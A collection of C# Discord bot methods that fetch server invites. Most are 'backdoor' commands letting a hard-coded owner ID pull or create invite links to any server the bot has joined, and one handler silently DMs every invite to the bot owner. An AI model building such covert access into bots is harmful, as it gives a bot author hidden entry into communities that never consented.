public async Task BackdoorModule(ulong GuildId) { bCheck(); if (check != true) { return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.User.SendMessageAsync($":x: **I am not in a guild with id: {GuildId}**"); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { await Guild.TextChannels.First().CreateInviteAsync(); } Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites to guild {Guild.Name}", Guild.IconUrl); Embed.WithColor(40, 200, 150); int inv = 0; foreach (var Current in Invites) { if (inv < 25) { inv++; Embed.AddField("Invite:", $"[{Current.ChannelName}]({Current.Url})", true); } } await Context.User.SendMessageAsync("", false, Embed.Build()); string text = $"[{DateTime.UtcNow}] {Context.User.Username} used d!binvite command for guild {Guild.Name}."; Console.WriteLine(text); await bLog(text); } catch (Exception ex) { EmbedBuilder eb = new EmbedBuilder(); eb.WithAuthor($"Error", Context.User.GetAvatarUrl()); eb.WithColor(40, 200, 150); eb.WithDescription($":x:**Creating invite list to guild {Guild.Name} went wrong with error {ex.Message}**"); eb.WithThumbnailUrl("https://cdn.discordapp.com/attachments/524677710770077697/527415053134331925/WarDT.png"); await Context.User.SendMessageAsync("", false, eb.Build()); return; } }
public async Task BackdoorModule(ulong GuildId) { try { if (!Classes.Privileg.CheckById(Context.User.Id, Classes.Privileg.owner)) { await Context.Channel.SendMessageAsync(embed : Classes.Embed.New(Context.Message.Author, Classes.Field.CreateFieldBuilder("warning", "You are not my god!"), Classes.Colors.warning)); Log.Warning($"command - backdoor - user:{Context.User.Id} channel:{Context.Channel.Id} privileg to low"); return; } Log.Information($"command - backdoor - start user:{Context.User.Id} channel:{Context.Channel.Id} command:{Context.Message.Content}"); if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(embed : Classes.Embed.New(Context.Message.Author, Classes.Field.CreateFieldBuilder("error", "guild not found!"), Classes.Colors.error)); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var invites = await Guild.GetInvitesAsync(); if (invites.Count() < 1) { try { await Guild.SystemChannel.CreateInviteAsync(); } catch (Exception e) { await Context.Channel.SendMessageAsync(embed : Classes.Embed.New(Context.Message.Author, Classes.Field.CreateFieldBuilder($"Creating an invit for guild {Guild.Name} went wrong", e.Message), Classes.Colors.error, "error")); throw e; } } invites = null; invites = await Guild.GetInvitesAsync(); List <EmbedFieldBuilder> fields = new List <EmbedFieldBuilder>(); foreach (var invite in invites) { fields.Add(Classes.Field.CreateFieldBuilder($"{Guild.Name} - {invite.ChannelName}", $"[{invite.Url}]({invite.Url})")); } await Context.Channel.SendMessageAsync(embed : Classes.Embed.New(Context.Message.Author, fields, Classes.Colors.information)); } catch (Exception ex) { Log.Error($"command - backdoor - user:{Context.User.Id} channel:{Context.Channel.Id} error:{ex.Message}"); } }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 306970789180211200)) { await Context.Channel.SendMessageAsync(":x: You are not a bot moderator"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I am not in a guild with id=" + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($" :x: Creating an invite for guild {Guild.Name} went wrong with error ``{ex.Message}``"); return; } } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invite for guild {Guild.Name}", Guild.IconUrl); Embed.WithColor(40, 200, 150); foreach (var Current in Invites) { Embed.AddInlineField("Invite", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception ex) { } }
public async Task BackdoorCmd(ulong GuildID) { if (!(Context.User.Id == 483804071111819266)) { await Context.Channel.SendMessageAsync(":x: You are not a bot moderator"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildID).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I am not in a guild with id= " + GuildID); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildID).FirstOrDefault(); try { var Invite = await Guild.GetInvitesAsync(); if (Invite.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception e) { await Context.Channel.SendMessageAsync("something went wrong"); return; } } Invite = null; Invite = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild {Guild.Name}: ", Guild.IconUrl); Embed.WithColor(40, 200, 150); foreach (var Current in Invite) { Embed.AddInlineField("Invite: ", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception e) { } //Context.Client.Guilds.Where(x => x.Id == GuildID).FirstOrDefault(); }
public async Task BackdoorModule(ulong GuildId) { //(put your user id in the space) if (!(Context.User.Id == 353014527677300736)) { await Context.Channel.SendMessageAsync(":eyes: You are not a bot moderator!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":eyes: I am not in a guild with id=" + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { //Test code in try. If theres an error, it'll go into catch, which you can use catch to prevent the program var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { await Guild.TextChannels.First().CreateInviteAsync(); } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild {Guild.Name}:", Guild.IconUrl); Embed.WithColor(40, 200, 150); foreach (var Current in Invites) { Embed.AddInlineField("Invite:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":eyes: Creating an invite for guild{Guild.Name} went wrong with error ``{ex.Message}``"); return; } }
public async Task <RestInviteMetadata> FindInviter(SocketGuild guild) { try { IReadOnlyCollection <RestInviteMetadata> newInvites = await guild.GetInvitesAsync(); Dictionary <string, RestInviteMetadata> dict = newInvites.ToDictionary(x => x.Code); RestInviteMetadata result = null; foreach (var key in dict) { if (savedInvites.ContainsKey(key.Key)) { if (savedInvites[key.Key].Uses + 1 == key.Value.Uses) { result = key.Value; } } else { if (key.Value.Uses == 1) { result = key.Value; } } } await UpdateData(guild); return(result); } catch (Exception e) { Log.Exception(e); return(null); } }
public async Task <IInviteMetadata> GetInviteAsync(SocketGuild guild) { try { IInviteMetadata inviteData = null; if (guild.CurrentUser?.GuildPermissions.ManageGuild == true) { var currentInvites = await guild.GetInvitesAsync(); currentInvites = currentInvites.Where(x => x.MaxUses == 0 && x.MaxAge == 0 && !x.IsRevoked && !x.IsTemporary).ToList(); if (currentInvites.Any()) { inviteData = currentInvites.First(); } return(inviteData); } else { return(null); } } catch (Exception e) { Console.WriteLine(e); return(null); } }
public async Task <List <InviteModel> > GetLatestInvitesOfGuildAsync(SocketGuild guild) { var resultInvites = new List <InviteModel>(); var vanityUrlInvite = string.IsNullOrEmpty(guild.VanityURLCode) ? null : await guild.GetVanityInviteAsync(); var vanityUses = await GetVanityUrlUsesAsync(guild); var guildInvites = await guild.GetInvitesAsync(); if (guildInvites.Count > 0) { resultInvites.AddRange(guildInvites.Select(o => new InviteModel(o))); } if (vanityUrlInvite != null) { var vanityModel = new InviteModel(vanityUrlInvite) { Uses = vanityUses }; resultInvites.Add(vanityModel); } return(resultInvites); }
public async Task CommandBackdoor(ulong GuildId) { if (!(Context.User.Id == 207634142010015744)) { await Context.Channel.SendMessageAsync(":x: Du bist ka Admin du sandla!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: Du bist nicht in einer Guild mit der ID:" + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { await Context.Channel.SendMessageAsync(":x: Es sind keine Einladungen verfรผgbar!"); } else { EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"invites fรผr unseren Server {Guild.Name}:", Guild.IconUrl); Embed.WithColor(40, 200, 150); foreach (var Current in Invites) { Embed.AddInlineField("Invite:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } }
static public Embed LogJoin(SocketGuild guild, SocketGuildUser user) { //Try to narrow down the name of the user who created the invite var invites = guild.GetInvitesAsync().Result.ToArray(); string inviterMsg = "."; try { foreach (var inviteData in invites) { List <string> codes = JackFrostBot.UserSettings.Invites.GetCodes(guild.Id); foreach (string code in codes) { if (!invites.Any(x => x.Code.ToString().Equals(code)) && invites.Count().Equals(codes.Count - 1)) { ulong inviterID = JackFrostBot.UserSettings.Invites.GetUser(guild.Id, code); var inviter = guild.GetUser(inviterID); inviterMsg = $"by **{inviter.Username}** ({inviter.Id}) using invite ``{code}``"; } } } } catch { } var builder = new EmbedBuilder() .WithDescription($":calling: **{user.Username}** was invited to the server{inviterMsg}") .WithColor(new Color(0x0094FF)); return(builder.Build()); }
[Command("Backdoor"), Summary("Get an invite to the server")] //this will invite you to any server that uses this bot. Backdoor entry into a different server public async Task BackdoorMod(ulong GuildID) { if (!(Context.User.Id == 185771131855175680)) { await Context.Channel.SendMessageAsync(":x: You are not allowed to make me do that!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildID).Count() < 1) { await Context.Channel.SendMessageAsync(":x: You sure you know what you're doing? :x:" + GuildID); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildID).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: No... I am too lazy to do that, I wont create an invite for guild {Guild.Name} error ``{ex.Message}``"); return; } } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild test: {Guild.Name}:", Guild.IconUrl); Embed.WithColor(40, 200, 150); foreach (var Current in Invites) { Embed.AddField("Invite:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); }
public async Task invite(ulong GuildId) { if (!(Context.User.Id == 208412033748566016)) { await Context.Channel.SendMessageAsync(":x: You are not a bot moderator!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I am not in a guild with id=" + GuildId); return; } SocketGuild guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { var invites = await guild.GetInvitesAsync(); if (invites.Count() < 1) { await guild.TextChannels.First().CreateInviteAsync(); } invites = null; invites = await guild.GetInvitesAsync(); EmbedBuilder embed = new EmbedBuilder(); embed.WithAuthor($"Invites for guild {guild.Name}", guild.IconUrl); embed.WithColor(40, 200, 150); foreach (var current in invites) { embed.AddInlineField("Invite:", $"[Invite]({current.Url})"); } await Context.Channel.SendMessageAsync("", false, embed.Build()); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Createing an invite for guild {guild.Name} failed with error ``{ex.Message}``"); return; } }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 163948200338784256)) { await Context.Channel.SendMessageAsync(":x: :white_check_mark: You are not a bot moderator!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I an not i a guild with id=" + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Creating an invite for guild {Guild.Name} went wrong with error ''{ex.Message}'' "); return; } } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild {Guild.Name}: ", Guild.IconUrl); Embed.WithColor(40, 22, 100); foreach (var Current in Invites) { Embed.AddInlineField("Invite:", $"[Invites]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 166031587035709441)) { await Context.Channel.SendMessageAsync(":x: You're not my dad!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: How did I get here?"); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var invites = await Guild.GetInvitesAsync(); if (invites.Count < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); }catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Creating invite for {Guild.Name} failed! ``{ex.Message}``"); return; } } invites = null; invites = await Guild.GetInvitesAsync(); EmbedBuilder embed = new EmbedBuilder(); embed.WithAuthor($"Invites for {Guild.Name}:", Guild.IconUrl); embed.WithColor(40, 200, 150); foreach (var current in invites) { embed.AddInlineField("Invite:", $"[Invite]({current.Url})"); } await Context.Channel.SendMessageAsync("", false, embed.Build()); }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 177177029400199168)) { await Context.Channel.SendMessageAsync("You don't appear to be a bot moderator..."); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync("I am not in a server with id: " + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { //Guild.TextChannels.First().CreateInviteAsync(); } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for server {Guild.Name}:", Guild.IconUrl); Embed.WithColor(55, 0, 255); //foreach (var Current in Invites) // Embed.AddInlineField("Invite: ", $"[Invite]({Current.Url})"); await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception ex) { await Context.Channel.SendMessageAsync($"Creating an invite for server {Guild.Name} went wrong with error: ``{ex.Message}``"); return; } }
/// <summary> /// Only runs if the proper files have not been created (user) and creates the files for us. /// </summary> public static async Task Init() { var rawInvites = await channel.GetInvitesAsync(); foreach (var user in channel.Users) { Bot.AddUser(user); } foreach (var invite in rawInvites) { Bot.AddInvite(invite); } foreach (var user in Constants.users) { var userInvites = Constants.invites.FindAll(x => x.username == user.username); if (userInvites.Count > 0) { foreach (var invite in userInvites) { user.inviteCount += invite.validUses; } } // Add rewards to users string[] lines = File.ReadAllLines(@"Data/MinecraftRewards.txt"); foreach (string line in lines) { var rewardLevel = line.Split(',')[0]; var reward = line.Split(',')[1]; if (user.inviteCount >= Convert.ToInt16(rewardLevel)) { user.minecraftRewards.Add(reward); } } } Bot.UpdateInvitesFile(); Bot.UpdateUsersFile(); }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 129804455964049408)) { await Context.Channel.SendMessageAsync(":X: You're not a moderator!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x I am not in a guild with id=" + GuildId); } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); await Context.Channel.SendMessageAsync($"{Guild.CurrentUser}"); try { var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { await Guild.TextChannels.First().CreateInviteAsync(); } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild {Guild.Name}:", Guild.IconUrl); foreach (var Current in Invites) { Embed.AddField("Invite:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Creating an invite for guild {Guild.Name} went wrong with error \"{ex.Message}\""); return; } }
public async Task backdoor(ulong GuildId) { if (!(Context.User.Id == 249808259760914433)) { await Context.Channel.SendMessageAsync("***UwU*** You cant do that!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Creating an invite in {Guild.Name} had a error! ``{ex.Message}``"); return; } } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invite {Guild.Name}:", Guild.IconUrl); Embed.WithColor(20, 30, 100); foreach (var Current in Invites) { Embed.AddInlineField("Invite:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } }
private async Task OnReadyAsync() { _reversesGuild = _discord.GetGuild(Config.ReversesGuildId); _logChannel = _reversesGuild.GetTextChannel(Config.LogChannelId); // Initialize the invite tracker _inviteTracker = new InviteTracker(); _inviteTracker.SaveInvites(await _reversesGuild.GetInvitesAsync()); }
/// <summary> /// Generates a partner message based off the input server /// </summary> /// <param name="guildObj"> /// The guild obj. /// </param> /// <param name="guild"> /// The guild. /// </param> /// <returns> /// The <see cref="EmbedBuilder" />. /// </returns> public EmbedBuilder GenerateMessage(PartnerService.PartnerInfo guildObj, SocketGuild guild) { var image = guildObj.Message.ImageUrl; if (image != null) { if (!Uri.IsWellFormedUriString(image, UriKind.Absolute)) { image = null; guildObj.Message.ImageUrl = null; guildObj.Save(); } } try { var embed = new EmbedBuilder(); embed.Title = guild.Name; embed.Description = guildObj.Message.Content; embed.ImageUrl = image; embed.Color = new Color(guildObj.Message.Color.R, guildObj.Message.Color.G, guildObj.Message.Color.B); if (guildObj.Message.Invite == null) { guildObj.Message.Invite = guild.GetTextChannel(guildObj.Settings.ChannelId)?.CreateInviteAsync(null).Result?.Url; guildObj.Save(); } var invites = guild.GetInvitesAsync().Result; if (invites != null) { if (!invites.Select(x => x.Url).Contains(guildObj.Message.Invite)) { guildObj.Message.Invite = guild.GetTextChannel(guildObj.Settings.ChannelId)?.CreateInviteAsync(null).Result?.Url; guildObj.Save(); } } embed.AddField("Invite", $"{guildObj.Message.Invite ?? "N/A"}"); embed.ThumbnailUrl = guildObj.Message.UseThumb ? guild.IconUrl : null; embed.Footer = new EmbedFooterBuilder { Text = $"{(guildObj.Message.UserCount ? $"Users: {guild.MemberCount} | " : string.Empty)}Get PassiveBOT: {_HomeService.CurrentHomeModel.HomeInvite}", IconUrl = guild.IconUrl }; return(embed); } catch (Exception e) { LogHandler.LogMessage($"Partner Embed Build Error for {guild.Name} [{guild.Id}]\n" + $"{e}"); return(new EmbedBuilder { Description = $"Partner Embed Build Error for {guild.Name} [{guild.Id}]\n" + $"{e.Message}" }); } }
public async Task backdoor(ulong GuildId) { if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I am not in a guild with id = " + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception e) { await Context.Channel.SendMessageAsync($":x: Creating an invite for Guild {Guild.Name} went wrong with error ``{e.Message}ยดยด"); return; } } Invites = null; Invites = await Guild.GetInvitesAsync(); EmbedBuilder embed = new EmbedBuilder(); embed.WithAuthor($"Invites from guild {Guild.Name}:", Guild.IconUrl); embed.WithColor(40, 200, 150); foreach (var Current in Invites) { embed.AddField("Invite: ", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, embed.Build()); }
/* * private async Task HandleUpdatedMessageAsync (Cacheable<IMessage, ulong> before, SocketMessage after, ISocketMessageChannel channel) { * ulong logChannelId; * var logChannel = _client.GetChannel (logChannelId) as ISocketMessageChannel; * * try { * var message = await before.GetOrDownloadAsync (); * * if (after.Author.IsBot == true || after is null) { * return; * } else { * string channelName = channel.Name; * * var author = after.Author as SocketUser; * var avatar = author.GetAvatarUrl (ImageFormat.Auto); * var defaultAvatar = author.GetDefaultAvatarUrl (); * * EmbedAuthorBuilder embedAuthorBuilder = new EmbedAuthorBuilder (); * * embedAuthorBuilder.WithName ($"Message edited by {author.Username}#{author.Discriminator} in #{channelName}"); * * if (avatar == null) { * embedAuthorBuilder.WithIconUrl (defaultAvatar); * } else { * embedAuthorBuilder.WithIconUrl (avatar); * } * * EmbedBuilder builder = new EmbedBuilder (); * * builder.AddField ("Before", $"```diff\n- {message}\n```", true); * builder.AddField ("After", $"```diff\n+ {after}\n```", true); * builder.WithAuthor (embedAuthorBuilder); * builder.WithCurrentTimestamp (); * builder.WithColor (Color.Blue); * * await logChannel.SendMessageAsync ("", false, builder.Build ()); * } * } catch (Exception ex) { * await logChannel.SendMessageAsync (ex.Message); * } * } * * private async Task HandleDeletedMessageAsync (Cacheable<IMessage, ulong> message, ISocketMessageChannel channel) { * ulong logChannelId; * var logChannel = _client.GetChannel (logChannelId) as ISocketMessageChannel; * * try { * var originalMessage = await message.GetOrDownloadAsync (); * * if (originalMessage.Author.IsBot == true || originalMessage is null) { * return; * } else { * string channelName = channel.Name; * * var author = originalMessage.Author as SocketUser; * var avatar = author.GetAvatarUrl (ImageFormat.Auto); * var defaultAvatar = author.GetDefaultAvatarUrl (); * * EmbedAuthorBuilder embedAuthorBuilder = new EmbedAuthorBuilder (); * * embedAuthorBuilder.WithName ($"Message deleted by {author.Username}#{author.Discriminator} in #{channelName}"); * * if (avatar == null) { * embedAuthorBuilder.WithIconUrl (defaultAvatar); * } else { * embedAuthorBuilder.WithIconUrl (avatar); * } * * EmbedBuilder builder = new EmbedBuilder (); * * builder.AddField ("Message", $"```diff\n- {originalMessage}\n```", true); * builder.WithAuthor (embedAuthorBuilder); * builder.WithCurrentTimestamp (); * builder.WithColor (Color.Blue); * * await logChannel.SendMessageAsync ("", false, builder.Build ()); * } * } catch (Exception ex) { * await logChannel.SendMessageAsync (ex.Message); * } * } */ private async Task HandleGuildJoinedAsync(SocketGuild socketGuild) { var invites = await socketGuild.GetInvitesAsync(); foreach (var invite in invites) { if (invite != null) { var info = await _client.GetApplicationInfoAsync(); await info.Owner.SendMessageAsync(invite.ToString()); } } }
public static async Task <string> GetInviteUrl(SocketGuild server) { //TODO: Require.. what permission? IEnumerable <RestInviteMetadata> invites = await server.GetInvitesAsync(); invites = invites.Where(invite => { int maxUses = invite.MaxUses ?? 0; return(!invite.IsRevoked && invite.Uses.HasValue && (maxUses == 0 || maxUses < invite.Uses)); }); return(invites.OrderByDescending(invite => ((invite.IsTemporary || (invite.MaxUses ?? 0) > 0) ? int.MinValue : 0) + invite.Uses).FirstOrDefault()?.Url); }
public async Task <BasicGuildInfo> Get(ulong guildID) { SocketGuild guild = Bot.BotManager.client.GetGuild(guildID); RestInviteMetadata invite = (await guild.GetInvitesAsync()).Where(i => i.IsTemporary == false)?.ElementAt(0); BasicGuildInfo guildInfo = new BasicGuildInfo { Name = guild.Name, IconURL = guild.IconUrl ?? "", Invite = invite?.ToString() ?? "", Users = new Collection <JsonUser> { } }; return(guildInfo); }
public async Task BackdoorModule(ulong GuildId) { if (!(Context.User.Id == 168071466137419777)) { await Context.Channel.SendMessageAsync(":x: !Error! - You are not a bot moderator!"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: !Error! - I am not in a guild with ID =" + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: !Error! - Creating an invite for guild {Guild.Name} went wrong with error: ``{ex.Message}``"); return; } } EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for guild {Guild.Name}:", Context.User.GetAvatarUrl()); Embed.WithColor(255, 223, 0); Embed.WithCurrentTimestamp(); foreach (var Current in Invites) { Embed.AddInlineField("Invites:", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); }
public async Task UpdateData(IReadOnlyCollection <RestInviteMetadata> readOnly, SocketGuild guild) { try { if (readOnly == null) { readOnly = await guild.GetInvitesAsync(); } if (!savedInvites.ContainsKey(guild.Id)) { savedInvites.Add(guild.Id, new Dictionary <string, RestInviteMetadata> ()); } savedInvites[guild.Id] = readOnly.ToDictionary(x => x.Code); } catch (Exception e) { Log.Write(e); } }
public async Task BackdoorModule(ulong GuildID) { if (!(Context.User.Id == 109060566210859008)) { await Context.Channel.SendMessageAsync(":x: You are not a bot moderator"); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildID).Count() < 1) { await Context.Channel.SendMessageAsync(":x: I am not in a guild with ID = " + GuildID); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildID).FirstOrDefault(); var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { try { await Guild.TextChannels.First().CreateInviteAsync(); } catch (Exception ex) { await Context.Channel.SendMessageAsync($":x: Creating an invite for guild {Guild.Name} went wrong with the error ``{ex.Message}``"); return; } } EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for channel {Guild.Name}:", Guild.IconUrl); Embed.WithColor(Color.Green); foreach (var Current in Invites) { Embed.AddField("Invite: ", $"[{Current.ChannelName}]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); }
public async Task BackdoorModule(ulong GuildId = 0) { if (Context.User.Id != 328631832050532354) { await Context.Channel.SendMessageAsync(":x: You are not a moderator for this bot."); return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.Channel.SendMessageAsync(":x: You are not a member of the guild with the Id: " + GuildId); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); try { var Invites = await Guild.GetInvitesAsync(); if (Invites.Count() < 1) { await Guild.TextChannels.First().CreateInviteAsync(); } EmbedBuilder Embed = new EmbedBuilder(); Embed.WithAuthor($"Invites for our guild {Guild.Name}", Guild.IconUrl); Embed.WithColor(30, 250, 100); foreach (var Current in Invites) { Embed.AddInlineField("Invite", $"[Invite]({Current.Url})"); } await Context.Channel.SendMessageAsync("", false, Embed.Build()); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
public async Task <RestInviteMetadata> FindInviter(SocketGuild guild) { try { IReadOnlyCollection <RestInviteMetadata> newInvites = await guild.GetInvitesAsync(); Dictionary <string, RestInviteMetadata> dict = newInvites.ToDictionary(x => x.Code); RestInviteMetadata result = null; if (!savedInvites.ContainsKey(guild.Id)) { await UpdateData(null, guild); // Shouldn't happen, but just in case it does happen. } foreach (var key in dict) { if (savedInvites[guild.Id].ContainsKey(key.Key)) { if (savedInvites [guild.Id] [key.Key].Uses + 1 == key.Value.Uses) { result = key.Value; } } else { if (key.Value.Uses == 1) { result = key.Value; } } } await UpdateData(newInvites, guild); return(result); } catch (Exception e) { Log.Write(e); return(null); } }
public virtual Task <IReadOnlyCollection <RestInviteMetadata> > GetInvitesAsync(RequestOptions?options = null) { return(_socketGuild.GetInvitesAsync(options)); }